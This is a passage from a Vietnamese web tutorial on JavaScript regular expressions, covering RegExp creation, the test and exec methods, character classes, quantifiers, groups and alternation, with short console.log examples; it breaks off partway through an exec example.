cũng như nhiều ngôn ngữ lập trình khác.</p> <p>Nếu bạn là một lập trình viên và đã từng sử dụng Regular Expression thì bạn chắc hẳn sẽ thấy rằng nó có cú pháp rất kinh khủng và có phần "bí ẩn". Tuy nhiên, công cụ này lại cực kì mạnh mẽ và hiệu quả khi dùng để xử lý string.</p> <p>Sau đây, chúng ta sẽ cùng tìm hiểu về Regular Expression trong JavaScript.</p> <h2 id="khởi-tạo-regular-expression" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-regular-expression" aria-label="khởi tạo regular expression permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Regular Expression</h2> <p>Có hai cách để tạo ra một Regex JavaScript là:</p> <ul> <li>Sử dụng hàm khởi tạo của <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> RegExp</li> <li>Viết trực tiếp sử dụng cặp dấu "/ /"</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> re1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">RegExp</span><span class="token punctuation">(</span><span class="token string">"abc"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">var</span> re2 <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">abc</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span></code></pre></div> <p>Cả hai cách trên ta đều thu được một Regular Expression biểu diễn một string có dạng: <em>abc</em>.</p> <h2 id="một-số-phương-thức-của-regular-expression" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-c%E1%BB%A7a-regular-expression" aria-label="một số phương thức của regular expression permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số phương thức của Regular Expression</h2> <h3 id="phương-thức-test" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-test" aria-label="phương thức test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức Test</h3> <p>Đây là phương thức đơn giản nhất dùng để kiểm tra xem một string có chứa khuôn mẫu đã định nghĩa hay không. Nếu có thì kết quả trả về là TRUE và ngược lại thì là FALSE.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">abc</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abcde"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">abc</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12abcde"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">abc</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"abxcde"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <p>Trong ví dụ trên, 2 string "abcde" và "12abcde" đều chứa "abc" nên kết quả trả về là true. String còn lại "abxcde" không chứa "abc" nên kết quả là false.</p> <h4 id="kiểm-tra-trùng-khớp-với-tập-hợp-các-kí-tự" style="position:relative;"><a href="#ki%E1%BB%83m-tra-tr%C3%B9ng-kh%E1%BB%9Bp-v%E1%BB%9Bi-t%E1%BA%ADp-h%E1%BB%A3p-c%C3%A1c-k%C3%AD-t%E1%BB%B1" aria-label="kiểm tra trùng khớp với tập hợp các kí tự permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra trùng khớp với tập hợp các kí tự</h4> <p>Nếu chỉ kiểm tra như ví dụ trên thì bạn hoàn toàn có thể sử dụng phương thức <em>indexOf</em> của string thay vì sử dụng JavaScript Regular Expression.</p> <p>Tuy nhiên, với RegExp JavaScript thì bạn có thể kiểm tra những mẫu string phức tạp hơn.</p> <p><strong>Ví dụ:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[0123456789]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"in 1992"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[0-9]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"in 1992"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[0-9]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"Hello "</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[0-5]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"Gold 9999"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <p>Ví dụ 1, 2, 3 kiểm tra xem string có chứa bất kì chữ số nào từ 0 đến 9. Ví dụ cuối cùng kiểm tra xem string có chứa bất kì chữ số nào từ 0 đến 5.</p> <p>JavaScript sử dụng cặp dấu ngoặc vuông [] để biểu thị việc kiểm tra string có chứa bất kì kí tự nào có trong cặp dấu [] hay không. Trong đó, dấu "-" giữa hai kí tự dùng để chỉ 1 khoảng giữa hai kí tự đó.</p> <ul> <li>[0-9] là các chữ số từ 0 đến 9</li> <li>[a-z] là các chữ cái từ a đến z</li> </ul> <p>Ngoài ra, JavaScript cung cấp sẵn một số cách biểu diễn một tập hợp các kí tự:</p> <ul> <li>\d : bất kì chữ số nào từ 0 đến 9</li> <li>\w : một chữ cái</li> <li>\s : kí tự trắng (dấu cách, tab, dòng mới,...)</li> <li>\D : kí tự không phải số</li> <li>\W : kí tự không phải chữ cái</li> <li>\S : kí tự không phải kí tự trắng</li> <li>. : bất kì kí tự nào trừ dòng mới.</li> </ul> <p>Ví dụ kiểm tra ngày giờ có định dạng: <strong>dd-mm-yyyy hh:mm</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> dateTime <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d\d-\d\d-\d\d\d\d \d\d:\d\d</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dateTime<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"30-01-2003 15:20"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>dateTime<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"30-jan-2003 15:20"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <h4 id="đảo-ngược-tập-hợp-các-kí-tự" style="position:relative;"><a href="#%C4%91%E1%BA%A3o-ng%C6%B0%E1%BB%A3c-t%E1%BA%ADp-h%E1%BB%A3p-c%C3%A1c-k%C3%AD-t%E1%BB%B1" aria-label="đảo ngược tập hợp các kí tự permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đảo ngược tập hợp các kí tự</h4> <p>Trường hợp bạn muốn kiểm tra một string chứa bất kì kí tự nào không có trong tập hợp đã cho thì bạn có thể sử dụng kí tự "^".</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> notBinary <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">[^01]</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>notBinary<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1100100010100110"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>notBinary<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1100100010200110"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span></code></pre></div> <h4 id="lặp-lại-khuôn-mẫu" style="position:relative;"><a href="#l%E1%BA%B7p-l%E1%BA%A1i-khu%C3%B4n-m%E1%BA%ABu" aria-label="lặp lại khuôn mẫu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lặp lại khuôn mẫu</h4> <p>Trong ví dụ về kiểm tra ngày giờ bên trên, "\d" xuất hiện lặp lại rất nhiều lần. Điều này gây nên sự khó theo dõi. Do đó, JavaScript cung cấp cách thức để biểu diễn sự lặp lại khuôn mẫu:</p> <ul> <li>"+": biểu thị phần tử xuất hiện >= 1 lần</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'\d+'</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"'123'"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'\d+'</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"''"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <ul> <li>"*": biểu thị phần tử xuất hiện >= 0 lần (có thể không xuất hiện)</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'\d*'</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"'123'"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'\d*'</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"''"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span></code></pre></div> <ul> <li>"?": biểu thị phần tử xuất hiện 0 hoặc 1 lần</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> neighbor <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">neighbou?r</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>neighbor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"neighbour"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>neighbor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"neighbor"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>neighbor<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"neighbouur"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <ul> <li>{n}: biểu thị phần tử xuất hiện đúng n lần</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1234"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12345"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <ul> <li>{x,y}: biểu thị phần tử xuất hiện từ x đến y lần</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12345"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1234"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"123"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,4}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <ul> <li>{x, }: biểu thị phần tử xuất hiện >= x lần</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"12"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1234"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d{2,}</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <h4 id="nhóm-các-phần-tử" style="position:relative;"><a href="#nh%C3%B3m-c%C3%A1c-ph%E1%BA%A7n-t%E1%BB%AD" aria-label="nhóm các phần tử permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhóm các phần tử</h4> <p>Trong nhiều trường hợp bạn muốn lặp lại cả một nhóm các phần tử. Khi đó, bạn phải nhóm các phần tử đó lại sử dụng cặp dấu ngoặc đơn "( )".</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> cartoonCrying <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">boo+(hoo+)+</span><span class="token regex-delimiter">/</span><span class="token regex-flags">i</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>cartoonCrying<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"Boohoooohoohooo"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span></code></pre></div> <h4 id="lựa-chọn-khuôn-mẫu" style="position:relative;"><a href="#l%E1%BB%B1a-ch%E1%BB%8Dn-khu%C3%B4n-m%E1%BA%ABu" aria-label="lựa chọn khuôn mẫu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lựa chọn khuôn mẫu</h4> <p>Trường hợp bạn có nhiều khuôn mẫu và bạn cần kiểm tra xem string đưa ra chứa một trong các khuôn mẫu đó thì bạn có thể viết các Regular Expression tương ứng để kiểm tra. Hoặc sử dụng kí tự (|) để biểu diễn "hoặc":</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> animalCount <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d+ (pig|cow|chicken)s?</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>animalCount<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"15 pigs"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>animalCount<span class="token punctuation">.</span><span class="token function">test</span><span class="token punctuation">(</span><span class="token string">"15 pigchickens"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => false</span></code></pre></div> <h3 id="phương-thức-exec" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-exec" aria-label="phương thức exec permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức Exec</h3> <p>Nếu như phương thức <strong>test</strong> chỉ kiểm tra xem có tồn tại khuôn mẫu hay không thì phương thức <strong>exec</strong> sẽ trả về một đối tượng chứa thông tin thành phần trùng khớp với khuôn mẫu, ngược lại thì trả về null.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> match <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\d+</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"one two 100 200"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>match<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["100", index: 8, input: "one two 100 200"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>match<span class="token punctuation">.</span>index<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 8</span></code></pre></div> <p>Ví dụ trên trả về thành phần thoả mãn khuôn mẫu đầu tiên là: "100". <em>Index</em> là vị trí đầu tiên của string thoả mãn khuôn mẫu.</p> <p>Khi Regular Expression chứa group với cặp dấu ngoặc đơn thì phần tử đầu tiên trong kết quả sẽ là toàn bộ thành phần trùng khớp, thành phần tiếp theo là phần trùng khớp với group đầu tiên, thành phần tiếp theo là phần trùng khớp với group thứ 2,...</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> quotedText <span class="token operator">=</span> <span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">'([^']*)'</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>quotedText<span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"she said 'hello'"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["'hello'", "hello", index: 9, input: "she said 'hello'"]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">bad(ly)?</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">.</span><span class="token function">exec</span><span class="token punctuation">(</span><span class="token string">"bad"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ["bad", undefined, index: 